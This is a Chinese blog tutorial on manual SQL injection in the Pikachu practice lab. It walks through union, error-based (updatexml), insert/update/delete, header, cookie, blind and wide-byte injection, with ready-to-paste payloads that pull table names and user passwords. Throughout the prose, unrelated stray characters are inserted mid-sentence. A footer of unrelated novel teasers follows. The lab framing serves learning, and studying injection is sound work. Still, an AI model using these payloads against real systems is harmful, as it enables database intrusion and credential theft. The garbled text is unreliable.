SQL手動注入

一.本文介紹

1踊淳、本文介紹手動聯(lián)合查詢注入假瞬、information_schema注入陕靠、函數(shù)報錯注入、insert注入脱茉、update注入剪芥、dalete注入、Http Header注入琴许、Cookie注入税肪、Boolian(布爾型)盲注、時間型盲注榜田、寬字節(jié)注入益兄。

2、pikachu靶機環(huán)境串慰。

二.手動注入

1偏塞、聯(lián)合查詢union注入:

1、union操作符用于合并兩個或多個SQL語句集合起來邦鲫。一般與order??by語句配合使用灸叼。

2、先測試字段長度:a' order by1#% 庆捺、a' order by2#% 古今、a' order by3#% 、a' order by4#% .滔以。

3捉腥、當(dāng)測試到?a' order by3#% 時,如圖一所示你画,說明查詢字段準(zhǔn)確抵碟;當(dāng)測試到:a' order by?4#% 時:出現(xiàn):Unknown column '4' in 'order clause' 。那么可以確定坏匪,查詢的字段長度為3拟逮。

4、構(gòu)造語句:a' union select database(),user(),version()#%

圖一

圖二

2适滓、information_schema注入:

若MySQL的版本大于5.0敦迄,則MySQL中有一個很方便的系統(tǒng)庫information_schema,其中存放著數(shù)據(jù)庫名凭迹、表名罚屋、列名、用戶等一系列信息嗅绸。

SCHEMATA表:提供了當(dāng)前mysql實例中所有數(shù)據(jù)庫的信息脾猛。是show databases的結(jié)果取之此表。

TABLES表:提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)鱼鸠。詳細(xì)表述了某個表屬于哪個schema尖滚,表類型喉刘,表引擎,創(chuàng)建時間等信息漆弄。是show tables from schemaname的結(jié)果取之此表睦裳。

COLUMNS表:提供了表中的列信息。詳細(xì)表述了某張表的所有列以及每個列的信息撼唾。是show columns from schemaname.tablename的結(jié)果取之此表廉邑。

STATISTICS表:提供了關(guān)于表索引的信息。是show index from schemaname.tablename的結(jié)果取之此表倒谷。

USER_PRIVILEGES(用戶權(quán)限)表:給出了關(guān)于全程權(quán)限的信息蛛蒙。該信息源自mysql.user授權(quán)表。是非標(biāo)準(zhǔn)表渤愁。

SCHEMA_PRIVILEGES(方案權(quán)限)表:給出了關(guān)于方案(數(shù)據(jù)庫)權(quán)限的信息牵祟。該信息來自mysql.db授權(quán)表。是非標(biāo)準(zhǔn)表抖格。

TABLE_PRIVILEGES(表權(quán)限)表:給出了關(guān)于表權(quán)限的信息诺苹。該信息源自mysql.tables_priv授權(quán)表。是非標(biāo)準(zhǔn)表雹拄。

COLUMN_PRIVILEGES(列權(quán)限)表:給出了關(guān)于列權(quán)限的信息收奔。該信息源自mysql.columns_priv授權(quán)表。是非標(biāo)準(zhǔn)表滓玖。

CHARACTER_SETS(字符集)表:提供了mysql實例可用字符集的信息坪哄。是SHOW CHARACTER SET結(jié)果集取之此表。

COLLATIONS表:提供了關(guān)于各字符集的對照信息势篡。

COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校對的字符集翩肌。這些列等效于SHOW COLLATION的前兩個顯示字段。

TABLE_CONSTRAINTS表:描述了存在約束的表禁悠。以及表的約束類型绷蹲。

KEY_COLUMN_USAGE表:描述了具有約束的鍵列拦英。

ROUTINES表:提供了關(guān)于存儲子程序(存儲程序和函數(shù))的信息。此時,ROUTINES表不包含自定義函數(shù)(UDF)。名為“mysql.proc name”的列指明了對應(yīng)于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表:給出了關(guān)于數(shù)據(jù)庫中的視圖的信息。需要有show views權(quán)限睁本,否則無法查看視圖信息。

TRIGGERS表:提供了關(guān)于觸發(fā)程序的信息骂维。必須有super權(quán)限才能查看該表

其中有三個比較重要的表:

information_schema.schemata:存放著所有數(shù)據(jù)庫的信息

information_schema.tables:存放著所有數(shù)據(jù)的信息

information_schema.columns:存放著所有的信息

使用group_concat(table_name)會更強大潦刃。

獲取pikachu數(shù)據(jù)庫的表名 :u'union select table_schema ,table_name,3 from information_schema.tables wheretable_schema='pikachu'# 畏吓;如圖一

獲取pikachu數(shù)據(jù)庫的字段名: k' union select table_name,column_name,3 frominformation_schema.columns where table_name='users'#%菲饼;如圖二

最后獲取字段值的內(nèi)容:kobe'union select username ,password,3 fromusers#%?肾砂;如圖三

圖一

圖二

圖三

3、基于函數(shù)報錯注入

在MYSQL中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的信息巴粪,常見的select/insert/update/delete注入都可以使用報錯方式來獲取信息通今。后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端。

三個常用的用來報錯的函數(shù)

updatexml():函數(shù)是MYSQL對XML文檔數(shù)據(jù)進行查詢和修改的XPATH函數(shù).

?extractvalue():函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進行查詢的XPATH函數(shù).

? floor():MYSQL中用來取整的函數(shù).

報錯的信息獲取

UPDATEXML(XML_document, XPath_string,new_value);

XML_document是String格式肛根,為XML文檔對象的名稱辫塌,文中為Doc

XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法派哲,可以在網(wǎng)上查找教程臼氨。

new_value,String格式芭届,替換查找到的符合條件的數(shù)據(jù)

1储矩、爆數(shù)據(jù)庫版本信息:?k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)?#

2、爆數(shù)據(jù)庫當(dāng)前用戶:? k' and ?updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#

3褂乍、爆數(shù)據(jù)庫k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #

4持隧、爆表獲取數(shù)據(jù)庫表名,輸入:k'andupdatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='pikachu')),0)#逃片,但是反饋回的錯誤表示只能顯示一行屡拨,所以采用limit來一行一行顯示

輸入k' and updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='pikachu'limit0,1)),0)#更改limit后面的數(shù)字limit 0完成表名遍歷;如圖一

5褥实、爆字段獲取字段名呀狼,輸入:k' andupdatexml(1,concat(0x7e,(select column_name from information_schema.columnswhere table_name='users'limit 2,1)),0)#

6、爆字段內(nèi)容獲取字段內(nèi)容损离,輸入:k' and? updatexml(1,concat(0x7e,(select password fromusers limit 0,1)),0)#? 哥艇;如圖二

返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如有任何一個參數(shù)為NULL 僻澎,則返回值為 NULL貌踏。通過查詢@@version,返回版本。然后CONCAT將其字符串化窟勃。因為UPDATEXML第二個參數(shù)需要Xpath格式的字符串,所以不符合要求祖乳,然后報錯。

圖一

圖二

4拳恋、insert注入

insert注入凡资,就是前端注冊的信息最終會被后臺通過insert這個操作插入數(shù)據(jù)庫砸捏,后臺在接受前端的注冊數(shù)據(jù)時沒有做防SQL注入的處理谬运,導(dǎo)致前端的輸入可以直接拼接SQL到后端的insert相關(guān)內(nèi)容中隙赁,導(dǎo)致了insert注入。

語法:?admin'or updatexml(1,concat(0x7e,(命令)),0) or'

1.爆表名

?admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

2.爆列名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

3.爆內(nèi)容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

5梆暖、update注入

與insert注入的方法大體相同伞访,區(qū)別在于update用于用戶登陸端,insert用于用于用戶注冊端轰驳。

' or updatexml(0,concat(0x7e,(database())),0) or'

6厚掷、dalete注入

在ID后面寫,空格要轉(zhuǎn)編碼(%20)级解,不用加單引號(')

一般應(yīng)用于前后端發(fā)貼冒黑、留言、用戶等相關(guān)刪除操作勤哗,點擊刪除按鈕時可通過Brup Suite抓包抡爹,對數(shù)據(jù)包相關(guān)delete參數(shù)進行注入,注入方法:delete from message where id=56or updatexml(2,concat(0x7e,(database())),0)

7芒划、Http Header注入

在已加密的包中修改冬竟,未加密的修改無效?

先在pikachu平臺打開Http Header注入模塊,點擊提示查看登錄帳號和密碼民逼,登陸后去BurpSuite中找到登陸地GET請求泵殴,把請求發(fā)送到Repeater模塊中,去除User-Agent:拼苍,然后輸入' 然后運行后觀察MYSQL語法報錯然后發(fā)現(xiàn)存在SQL注入漏洞笑诅。這時候可以設(shè)置payload。在User-Agent輸入payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

8映屋、Cookie注入

?Cookie是網(wǎng)站為了識別用戶身份來跟蹤會話的苟鸯,雖然Cookie是由后端生成的,但每次頁面跳轉(zhuǎn)棚点,后端都回對前端的Cookie的信息進行驗證早处,但如果后端獲取Cookie后放在數(shù)據(jù)庫中進行拼接,那么這也將是一個SQL注入點瘫析。在 ant[uname]=admin后添加一個’觀察反饋的MYSQL的語法報錯砌梆,發(fā)現(xiàn)了存在SQL注入漏洞,在設(shè)置Payload 'and updatexml (1,concat(0x7e,database()),0)#,觀察報錯和之前是否相同贬循。

SQL盲注分為三大類:

基于布爾型SQL盲注咸包、基于時間型SQL盲注、基于報錯型SQL盲注

9杖虾、Boolian(布爾型)盲注

介紹:盲注烂瘫,即在SQL注入過程中,SQL語句執(zhí)行選擇后,選擇的數(shù)據(jù)不能回顯到前端坟比,我們需要使用一些特殊的方法進行判斷或嘗試芦鳍,這個過程稱為盲注。

1葛账、通過嗅探得出數(shù)據(jù)庫名稱(vince' and ascii(substr(database(),1,1))=112#)

直到把數(shù)據(jù)庫的全名探測出來為止

10柠衅、base on time(時間型)盲注

1、判斷是否存在注入點籍琳,如果存在注入點則該界面會查詢6秒(6秒是參數(shù)中設(shè)置的查詢時間)(vince' and sleep(6)#)

注意:Asc碼盲注不不適用于 時間型盲注菲宴。

11、寬字節(jié)注入

簡介:

當(dāng)我們把php.ini文件里面的magic_quotes_gqc參數(shù)設(shè)為ON時趋急,所有的'(單引號)喝峦,"(雙引號),\(反斜杠)和null字符都會被自動加上一個反斜杠進行轉(zhuǎn)義呜达。還有很多函數(shù)有類似的作用如:addslashes()愈犹、mysql_escape_string()、mysql_real_escape_string()等闻丑,另外還有parse_str()后的變量也受magic_quotes_gpc的影響漩怎。目前大多數(shù)的主機都打開了這個選項,并且很多程序員也注意使用上面那些函數(shù)去過濾變量嗦嗡,這看上去很安全勋锤,很多漏洞查找者或者工具遇到這些函數(shù)過濾后的變量直接就放棄,但是就在他們放棄的同時也放過很多致命的安全漏洞侥祭。

1叁执、寬字節(jié)注入(kobe%df' or 1=1#)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市矮冬,隨后出現(xiàn)的幾起案子谈宛,更是在濱河造成了極大的恐慌,老刑警劉巖胎署,帶你破解...
    沈念sama閱讀 218,284評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件吆录,死亡現(xiàn)場離奇詭異,居然都是意外死亡琼牧,警方通過查閱死者的電腦和手機恢筝,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,115評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來巨坊,“玉大人撬槽,你說我怎么就攤上這事≈耗欤” “怎么了侄柔?”我有些...
    開封第一講書人閱讀 164,614評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我暂题,道長勋磕,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,671評論 1 293
  • 正文 為了忘掉前任敢靡,我火速辦了婚禮,結(jié)果婚禮上苦银,老公的妹妹穿的比我還像新娘啸胧。我一直安慰自己,他們只是感情好幔虏,可當(dāng)我...
    茶點故事閱讀 67,699評論 6 392
  • 文/花漫 我一把揭開白布纺念。 她就那樣靜靜地躺著,像睡著了一般想括。 火紅的嫁衣襯著肌膚如雪陷谱。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,562評論 1 305
  • 那天瑟蜈,我揣著相機與錄音烟逊,去河邊找鬼。 笑死铺根,一個胖子當(dāng)著我的面吹牛宪躯,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播位迂,決...
    沈念sama閱讀 40,309評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼访雪,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了掂林?” 一聲冷哼從身側(cè)響起臣缀,我...
    開封第一講書人閱讀 39,223評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎泻帮,沒想到半個月后精置,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,668評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡锣杂,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,859評論 3 336
  • 正文 我和宋清朗相戀三年氯窍,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片蹲堂。...
    茶點故事閱讀 39,981評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡狼讨,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出柒竞,到底是詐尸還是另有隱情政供,我是刑警寧澤,帶...
    沈念sama閱讀 35,705評論 5 347
  • 正文 年R本政府宣布,位于F島的核電站布隔,受9級特大地震影響离陶,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜衅檀,卻給世界環(huán)境...
    茶點故事閱讀 41,310評論 3 330
  • 文/蒙蒙 一招刨、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧哀军,春花似錦沉眶、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,904評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至猿推,卻和暖如春片习,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蹬叭。 一陣腳步聲響...
    開封第一講書人閱讀 33,023評論 1 270
  • 我被黑心中介騙來泰國打工藕咏, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人秽五。 一個月前我還...
    沈念sama閱讀 48,146評論 3 370
  • 正文 我出身青樓侈离,卻偏偏與公主長得像,于是被迫代替她去往敵國和親筝蚕。 傳聞我的和親對象是個殘疾皇子卦碾,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,933評論 2 355